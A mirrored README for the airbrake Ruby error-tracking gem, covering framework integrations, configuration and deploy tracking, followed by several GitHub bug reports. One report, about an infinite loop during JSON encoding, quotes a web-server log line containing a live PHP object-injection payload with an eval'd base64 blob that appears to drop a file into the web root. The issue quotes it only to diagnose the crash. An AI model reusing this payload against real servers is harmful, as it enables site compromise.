Code Monkey home page Code Monkey logo

airbrake-ruby's Introduction

Airbrake

Build Status Code Climate Gem Version Documentation Status Downloads Reviewed by Hound

Introduction

Airbrake is an online tool that provides robust exception tracking in any of your Ruby applications. In doing so, it allows you to easily review errors, tie an error to an individual piece of code, and trace the cause back to recent changes. The Airbrake dashboard provides easy categorization, searching, and prioritization of exceptions so that when errors occur, your team can quickly determine the root cause.

Key features

The Airbrake Dashboard

This library is built on top of Airbrake Ruby. The difference between Airbrake and Airbrake Ruby is that the airbrake gem is just a collection of integrations with frameworks or other libraries. The airbrake-ruby gem is the core library that performs exception sending and other heavy lifting.

Normally, you just need to depend on this gem, select the integration you are interested in and follow the instructions for it. If you develop a pure frameworkless Ruby application or embed Ruby and don't need any of the listed integrations, you can depend on the airbrake-ruby gem and ignore this gem entirely.

The list of integrations that are available in this gem includes:

Deployment tracking:

Installation

Bundler

Add the Airbrake gem to your Gemfile:

gem 'airbrake'

Manual

Invoke the following command from your terminal:

gem install airbrake

Configuration

Rails

Integration

To integrate Airbrake with your Rails application, you need to know your project id and project key. Set AIRBRAKE_PROJECT_ID & AIRBRAKE_PROJECT_KEY environment variables with your project's values and generate the Airbrake config:

export AIRBRAKE_PROJECT_ID=<PROJECT ID>
export AIRBRAKE_PROJECT_KEY=<PROJECT KEY>

rails g airbrake

Heroku add-on users can omit specifying the key and the id. Heroku add-on's environment variables will be used (Heroku add-on docs):

rails g airbrake

This command will generate the Airbrake configuration file under config/initializers/airbrake.rb. Make sure that this file is checked into your version control system. This is enough to start Airbraking.

In order to configure the library according to your needs, open up the file and edit it. The full list of supported configuration options is available online.

To test the integration, invoke a special Rake task that we provide:

rake airbrake:test

In case of success, a test exception should appear in your dashboard.

The notify_airbrake controller helpers

The Airbrake gem defines two helper methods available inside Rails controllers: #notify_airbrake and #notify_airbrake_sync. If you want to notify Airbrake from your controllers manually, it's usually a good idea to prefer them over Airbrake.notify, because they automatically add information from the Rack environment to notices. #notify_airbrake is asynchronous, while #notify_airbrake_sync is synchronous (waits for responses from the server and returns them). The list of accepted arguments is identical to Airbrake.notify.

Additional features: user reporting, sophisticated API

The library sends all uncaught exceptions automatically, attaching the maximum possible amount information that can help you to debug errors. The Airbrake gem is capable of reporting information about the currently logged in user (id, email, username, etc.), if you use an authentication library such as Devise. The library also provides a special API for manual error reporting. The description of the API is available online.

Automatic integration with Rake tasks and Rails runner

Additionally, the Rails integration offers automatic exception reporting in any Rake tasks[link] and Rails runner.

Integration with filter_parameters

If you want to reuse Rails.application.config.filter_parameters in Airbrake you can configure your notifier the following way:

# config/initializers/airbrake.rb
Airbrake.configure do |c|
  c.blocklist_keys = Rails.application.config.filter_parameters
end

There are a few important details:

  1. You must load filter_parameter_logging.rb before the Airbrake config
  2. If you use Lambdas to configure filter_parameters, you need to convert them to Procs. Otherwise you will get ArgumentError
  3. If you use Procs to configure filter_parameters, the procs must return an Array of keys compatible with the Airbrake allowlist/blocklist option (String, Symbol, Regexp)

Consult the example application, which was created to show how to configure filter_parameters.

filter_parameters dot notation warning

The dot notation introduced in rails/pull/13897 for filter_parameters (e.g. a key like credit_card.code) is unsupported for performance reasons. Instead, simply specify the code key. If you have a strong opinion on this, leave a comment in the dedicated issue.

Logging

In new Rails apps, by default, all the Airbrake logs are written into log/airbrake.log. In older versions we used to write to wherever Rails.logger writes. If you wish to upgrade your app to the new behaviour, please configure your logger the following way:

c.logger = Airbrake::Rails.logger

Sinatra

To use Airbrake with Sinatra, simply require the gem, configure it and use our Rack middleware.

# myapp.rb
require 'sinatra/base'
require 'airbrake'

Airbrake.configure do |c|
  c.project_id = 113743
  c.project_key = 'fd04e13d806a90f96614ad8e529b2822'

  # Display debug output.
  c.logger.level = Logger::DEBUG
end

class MyApp < Sinatra::Base
  use Airbrake::Rack::Middleware

  get('/') { 1/0 }
end

run MyApp.run!

To run the app, add a file called config.ru to the same directory and invoke rackup from your console.

# config.ru
require_relative 'myapp'

That's all! Now you can send a test request to localhost:9292 and check your project's dashboard for a new error.

curl localhost:9292

Rack

To send exceptions to Airbrake from any Rack application, simply use our Rack middleware, and configure the notifier.

require 'airbrake'
require 'airbrake/rack'

Airbrake.configure do |c|
  c.project_id = 113743
  c.project_key = 'fd04e13d806a90f96614ad8e529b2822'
end

use Airbrake::Rack::Middleware

Note: be aware that by default the library doesn't filter any parameters, including user passwords. To filter out passwords add a filter.

Appending information from Rack requests

If you want to append additional information from web requests (such as HTTP headers), define a special filter such as:

Airbrake.add_filter do |notice|
  next unless (request = notice.stash[:rack_request])
  notice[:params][:remoteIp] = request.env['REMOTE_IP']
end

The notice object carries a real Rack::Request object in its stash. Rack requests will always be accessible through the :rack_request stash key.

Optional Rack request filters

The library comes with optional predefined builders listed below.

RequestBodyFilter

RequestBodyFilter appends Rack request body to the notice. It accepts a length argument, which tells the filter how many bytes to read from the body.

By default, up to 4096 bytes is read:

Airbrake.add_filter(Airbrake::Rack::RequestBodyFilter.new)

You can redefine how many bytes to read by passing an Integer argument to the filter. For example, read up to 512 bytes:

Airbrake.add_filter(Airbrake::Rack::RequestBodyFilter.new(512))

Sending custom route breakdown performance

Arbitrary code performance instrumentation

For every route in your app Airbrake collects performance breakdown statistics. If you need to monitor a specific operation, you can capture your own breakdown:

def index
  Airbrake::Rack.capture_timing('operation name') do
    call_operation(...)
  end

  call_other_operation
end

That will benchmark call_operation and send performance information to Airbrake, to the corresponding route (under the 'operation name' label).

Method performance instrumentation

Alternatively, you can measure performance of a specific method:

class UsersController
  extend Airbrake::Rack::Instrumentable

  def index
    call_operation(...)
  end
  airbrake_capture_timing :index
end

Similarly to the previous example, performance information of the index method will be sent to Airbrake.

Sidekiq

We support Sidekiq v2+. The configurations steps for them are identical. Simply require our integration and you're done:

require 'airbrake/sidekiq'

If you required Sidekiq before Airbrake, then you don't even have to require anything manually and it should just work out-of-box.

Airbrake::Sidekiq::RetryableJobsFilter

By default, Airbrake notifies of all errors, including reoccurring errors during a retry attempt. To filter out these errors and only get notified when Sidekiq has exhausted its retries you can add the RetryableJobsFilter:

Airbrake.add_filter(Airbrake::Sidekiq::RetryableJobsFilter.new)

The filter accepts an optional max_retries parameter. When set, it configures the amount of allowed job retries that won't trigger an Airbrake notification. Normally, this parameter is configured by the job itself but this setting takes the highest precedence and forces the value upon all jobs, so be careful when you use it. By default, it's not set.

Airbrake.add_filter(
  Airbrake::Sidekiq::RetryableJobsFilter.new(max_retries: 10)
)

ActiveJob

No additional configuration is needed. Simply ensure that you have configured your Airbrake notifier with your queue adapter.

Resque

Simply require the Resque integration:

require 'airbrake/resque'

Integrating with Rails applications

If you're working with Resque in the context of a Rails application, create a new initializer in config/initializers/resque.rb with the following content:

# config/initializers/resque.rb
require 'airbrake/resque'
Resque::Failure.backend = Resque::Failure::Airbrake

Now you're all set.

General integration

Any Ruby app using Resque can be integrated with Airbrake. If you can require the Airbrake gem after Resque, then there's no need to require airbrake/resque anymore:

require 'resque'
require 'airbrake'

Resque::Failure.backend = Resque::Failure::Airbrake

If you're unsure, just configure it similar to the Rails approach. If you use multiple backends, then continue reading the needed configuration steps in the Resque wiki (it's fairly straightforward).

DelayedJob

Simply require our integration and you're done:

require 'airbrake/delayed_job'

If you required DelayedJob before Airbrake, then you don't even have to require anything manually and it should just work out-of-box.

Shoryuken

Simply require our integration and you're done:

require 'airbrake/shoryuken'

If you required Shoryuken before Airbrake, then you don't even have to require anything manually and it should just work out-of-box.

Sneakers

Simply require our integration and you're done:

require 'airbrake/sneakers'

If you required Sneakers before Airbrake, then you don't even have to require anything manually and it should just work out-of-box.

ActionCable

The ActionCable integration sends errors occurring in ActionCable actions and subscribed/unsubscribed events. If you use Rails with ActionCable, there's nothing to do, it's already loaded. If you use ActionCable outside Rails, simply require it:

require 'airbrake/rails/action_cable'

Rake

Airbrake offers Rake tasks integration, which is used by our Rails integration[link]. To integrate Airbrake in any project, just require the gem in your Rakefile, if it hasn't been required and configure the notifier.

# Rakefile
require 'airbrake'

Airbrake.configure do |c|
  c.project_id = 113743
  c.project_key = 'fd04e13d806a90f96614ad8e529b2822'
end

task :foo do
  1/0
end

Logger

If you want to convert your log messages to Airbrake errors, you can use our integration with Ruby's Logger class from stdlib. All you need to do is to wrap your logger in Airbrake's decorator class:

require 'airbrake/logger'

# Create a normal logger
logger = Logger.new($stdout)

# Wrap it
logger = Airbrake::AirbrakeLogger.new(logger)

Now you can use the logger object exactly the same way you use it. For example, calling fatal on it will both log your message and send it to the Airbrake dashboard:

logger.fatal('oops')

The Logger class will attempt to utilize the default Airbrake notifier to deliver messages. It's possible to redefine it via #airbrake_notifier:

# Assign your own notifier.
logger.airbrake_notifier = Airbrake::NoticeNotifier.new

Airbrake severity level

In order to reduce the noise from the Logger integration it's possible to configure Airbrake severity level. For example, if you want to send only fatal messages from Logger, then configure it as follows:

# Send only fatal messages to Airbrake, ignore anything below this level.
logger.airbrake_level = Logger::FATAL

By default, airbrake_level is set to Logger::WARN, which means it sends warnings, errors and fatal error messages to Airbrake.

Configuring Airbrake logger integration with a Rails application

In order to configure a production logger with Airbrake integration, simply overwrite Rails.logger with a wrapped logger in an after_initialize callback:

# config/environments/production.rb
config.after_initialize do
  # Standard logger with Airbrake integration:
  # https://github.com/airbrake/airbrake#logger
  Rails.logger = Airbrake::AirbrakeLogger.new(Rails.logger)
end

Configuring Rails APM SQL query stats when using Rails engines

By default, the library collects Rails SQL performance stats. For standard Rails apps no extra configuration is needed. However if your app uses Rails engines, you need to take an additional step to make sure that the file and line information is present for queries being executed in the engine code.

Specifically, you need to make sure that your Rails.backtrace_cleaner has a silencer that doesn't silence engine code (will be silenced by default). For example, if your engine is called blorgh and its main directory is in the root of your project, you need to extend the default silencer provided with Rails and add the path to your engine:

# config/initializers/backtrace_silencers.rb

# Delete default silencer(s).
Rails.backtrace_cleaner.remove_silencers!

# Define custom silencer, which adds support for the "blorgh" engine
Rails.backtrace_cleaner.add_silencer do |line|
  app_dirs_pattern = %r{\A/?(app|config|lib|test|blorgh|\(\w*\))}
  !app_dirs_pattern.match?(line)
end

Plain Ruby scripts

Airbrake supports any type of Ruby applications including plain Ruby scripts. If you want to integrate your script with Airbrake, you don't have to use this gem. The Airbrake Ruby gem provides all the needed tooling.

Deploy tracking

By notifying Airbrake of your application deployments, all errors are resolved when a deploy occurs, so that you'll be notified again about any errors that reoccur after a deployment. Additionally, it's possible to review the errors in Airbrake that occurred before and after a deploy.

There are several ways to integrate deployment tracking with your application, that are described below.

Capistrano

The library supports Capistrano v2 and Capistrano v3. In order to configure deploy tracking with Capistrano simply require our integration from your Capfile:

# Capfile
require 'airbrake/capistrano'

If you use Capistrano 3, define the after :finished hook, which executes the deploy notification task (Capistrano 2 doesn't require this step).

# config/deploy.rb
namespace :deploy do
  after :finished, 'airbrake:deploy'
end

If you version your application, you can set the :app_version variable in config/deploy.rb, so that information will be attached to your deploy.

# config/deploy.rb
set :app_version, '1.2.3'

Rake task

A Rake task can accept several arguments shown in the table below:

Key Required Default Example
ENVIRONMENT No Rails.env production
USERNAME No nil john
REPOSITORY No nil https://github.com/airbrake/airbrake
REVISION No nil 38748467ea579e7ae64f7815452307c9d05e05c5
VERSION No nil v2.0

In Rails

Simply invoke rake airbrake:deploy and pass needed arguments:

rake airbrake:deploy USERNAME=john ENVIRONMENT=production REVISION=38748467 REPOSITORY=https://github.com/airbrake/airbrake

Anywhere

Make sure to require the library Rake integration in your Rakefile.

# Rakefile
require 'airbrake/rake/tasks'

Then, invoke it like shown in the example for Rails.

Supported Rubies

  • CRuby >= 2.6.0
  • JRuby >= 9k

Contact

In case you have a problem, question or a bug report, feel free to:

License

The project uses the MIT License. See LICENSE.md for details.

Development & testing

In order to run the test suite, first of all, clone the repo, and install dependencies with Bundler.

git clone https://github.com/airbrake/airbrake.git
cd airbrake
bundle

Next, run unit tests.

bundle exec rake

In order to test integrations with frameworks and other libraries, install their dependencies with help of the following command:

bundle exec appraisal install

To run integration tests for a specific framework, use the appraisal command.

bundle exec appraisal rails-4.2 rake spec:integration:rails
bundle exec appraisal sinatra rake spec:integration:sinatra

Pro tip: GitHub Actions config has the list of all the integration tests and commands to invoke them.

airbrake-ruby's People

Contributors

a2ikm avatar aburgel avatar akicho8 avatar beeplogic avatar bobes avatar brianhawley avatar chewi avatar dependabot-preview[bot] avatar equivalent avatar grosser avatar javierav avatar krisdigital avatar kuboon avatar kyrylo avatar mmcdaris avatar nalabjp avatar rhymes avatar sawanoboly avatar sgray avatar shifi avatar stuartmoore1023 avatar svenwin avatar tnir avatar vikke avatar zefer avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

airbrake-ruby's Issues

support return values in async mode

it would be great to get back a url even in async mode, could be done by for example generating a UUID on the client and sending that to the server ... then the client can ask for that UUID later and get the response if any ... this would allow bringing back the user-informer ... and allow linking airbrakes to errors seen in the logs

Can't parse crazy JRuby backtrace line

  • Airbrake version: 1.4.6
  • Ruby version: JRuby 9.1.5.0
  • Framework name & version: N/A

Airbrake config

Only project id, project key, and environment.

Description

Iโ€™ve got this exception + back trace being written out to my log file:

org.jruby.exceptions.RaiseException: (ReadTimeout) Net::ReadTimeout
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.rbuf_fill(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:158)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.read(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:104)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.block in read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:290)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.inflater(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:275)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:280)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:201)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:226)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.reading_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:163)
    at uri_3a_classloader_3a_.gems.aws_minus_sdk_minus_core_minus_2_dot_5_dot_6.lib.seahorse.client.net_http.patches.new_transport_request(uri:classloader:/gems/aws-sdk-core-2.5.6/lib/seahorse/client/net_http/patches.rb:37)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1397)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.block in request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1390)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.start(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:857)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1388)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.request.perform(uri:classloader:/gems/httparty-0.14.0/lib/httparty/request.rb:118)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.perform_request(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:560)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.get(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:486)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.perform(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:110)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.get(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:55)
    at uri_3a_classloader_3a_.lib.processors.image_upload.fetch_image(uri:classloader:/lib/processors/image_upload.rb:93)
    at uri_3a_classloader_3a_.lib.processors.image_upload.process!(uri:classloader:/lib/processors/image_upload.rb:157)
    at bin.processors.image_uploader.block in make_streams(bin/processors/image_uploader.rb:21)

And Iโ€™m passing that exception to Airbrake.notify_sync and itโ€™s raising an exception with this message:

can't parse 'uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.rbuf_fill(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:158)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)

Configuration setting for unhandled exceptions

Hey!

Currently airbrake-ruby notifies about unhandled errors, if they cause process exit, and there is no way to prevent airbrake from doing that. What if we add a config property, that will allow to turn off notifying on such exceptions?

Airbrake-ruby stuck in an infinite loop

  • Airbrake version: 1.2.2
  • Ruby version: 2.2.4p230
  • Framework name & version: Rails 4.2.6

Airbrake config

    Airbrake.configure(:default) do |c|
      c.project_key = ***
      c.project_id = ***
      c.logger = Logger.new("#{Rails.root}/log/airbrake.log")
      c.environment = Rails.env
      c.ignore_environments = %w(cucumber test)
      c.root_directory = Rails.root
      c.blacklist_keys = ['_csrf_token', 'HTTP_AUTHORIZATION', /password/i]
    end

Description

I unfortunately could not come up with a reproduction package after a day of trying different inputs, so I hope that your better understanding of the code might solve this one. This happened on our production server and the best I could collect is log.

A malicious agent tried to pass some executable php code in the user_agent header to our Rails app. The request looked like this (as logged by our nginx server, I believe this is truncated):

[04/May/2016:22:34:03 +0000] "GET / HTTP/1.1" 500 1266 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:3738:\x22eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl0Y25SbkxuVnBMbkJvYVc1dFlTNWxaSFV1Y0dndlkyOXRjRzl1Wlc1MGN5OXFiMjl0YkdFdWRIaDBKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJwdFlXbHNMbkJvY0NJZ093MEtKSFJsZUhReUlEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5cWJXRnBiSG91ZEhoMEp5azdEUW9rYjNCbGJqSWdQU0JtYjNCbGJpZ2tZMmhsWTJzeUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLV

The Rails server most likely failed to decode the header and raised an exception that airbrake-ruby tried to report. This is where things started going wrong. Here are the airbrake logs that followed:

D, [2016-05-04T22:34:03.963131 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.965277 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.967344 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.977436 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.979489 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.981755 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.984759 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.999362 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:04.003028 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:04.007852 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.007907 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.007947 #23492] INFO -- : **Airbrake: dropped 16 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.022644 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.022688 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.022722 #23492] INFO -- : **Airbrake: dropped 10 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.024688 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.024730 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.024763 #23492] INFO -- : **Airbrake: dropped 5 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.026259 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.026303 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.026336 #23492] INFO -- : **Airbrake: dropped 2 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.027212 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.027252 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.027285 #23492] INFO -- : **Airbrake: dropped 1 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.028167 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.028207 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.028240 #23492] INFO -- : **Airbrake: dropped 1 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.029030 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.029071 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.029104 #23492] INFO -- : **Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.029931 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.038577 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.038625 #23492] INFO -- : **Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.038954 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.039504 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError

From there on, airbrake-ruby was stuck in an infinite loop for about an hour, repeating those last three lines, producing 1GB of logs and locking a process. It eventually was killed by linux when the machine ran out of memory.

This piece of code seems to be responsible for the problem:

# lib/airbrake-ruby/notice.rb
    def to_json
      loop do
        begin
          json = payload.to_json
        rescue *JSON_EXCEPTIONS => ex
          @config.logger.debug("#{LOG_LABEL} `notice.to_json` failed: #{ex.to_s.chomp}")
        else
          return json if json && json.bytesize <= MAX_NOTICE_SIZE
        end

        truncate_payload
      end
    end

If the truncate_payload somehow stop reducing the size of the payload (which seems to be the case as the log says Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError), then this method become an infinite loop. Unfortunately, I could not come up with an exact payload that would reproduce the issue.

Can't reach a host with a subpath

Awesome tool!,
Trying to explore the concept of error catching with Airbrake client and with Errbit; Tried succesfuly in local environment with multiple applications and porting on localhost but when i try to deploy on a VPS with separate application with subpaths i can't get the Airbrake-ruby (or Airbrake 5 gem) to reach a subpath using the host attribute in the configuration.

https://github.com/airbrake/airbrake-ruby#host

config.host = 'http://my-website.com/errbit'

But if i move my errbit alias to / i get it working perfectly.
Currently when i do rake airbrake:test it throws a 404 error.

So far i've followed the code up to the endpoint method which calls the host attribute, but i am not sure why it won't work while using host + subpath as the entire host

https://github.com/airbrake/airbrake-ruby/blob/master/lib/airbrake-ruby/config.rb#L102

Any ideas on how to proceed?
Thank you!

Edit: Uh oh, should i've posted this on airbrake instead of airbrake-ruby

Edit 2: Aha!, Ok, see how interesting. At the end of that endpoint method the class makes a call to URI.join, and just figured the following behaviour:

2.3.1 :003 > URI.join('http://localhost/monitoring/','/api/etc')
=> #<URI::HTTP http://localhost/api/etc>

Note that it trashes away the subpath of the first parameter of the .join method, like only accepting the protocol and the domain (and the port). A solution to my problem would be to keep using my errbit under a port :(, or even better understand how the URI class works, but as the endpoint method is implemented i see that i have no other option than rewriting this method.

i wonder how can i extend it?

undefined method `sub!' for nil:NilClass

  • Airbrake version: 1.4.6
  • Ruby version: JRuby 9.1.5.0
  • Framework name & version: N/A

Airbrake config

Only project id, project key, and environment.

Description

Iโ€™ve got this exception + back trace being written out to my log file:

org.jruby.exceptions.RaiseException: (ReadTimeout) Net::ReadTimeout
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.rbuf_fill(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:158)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.read(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:104)
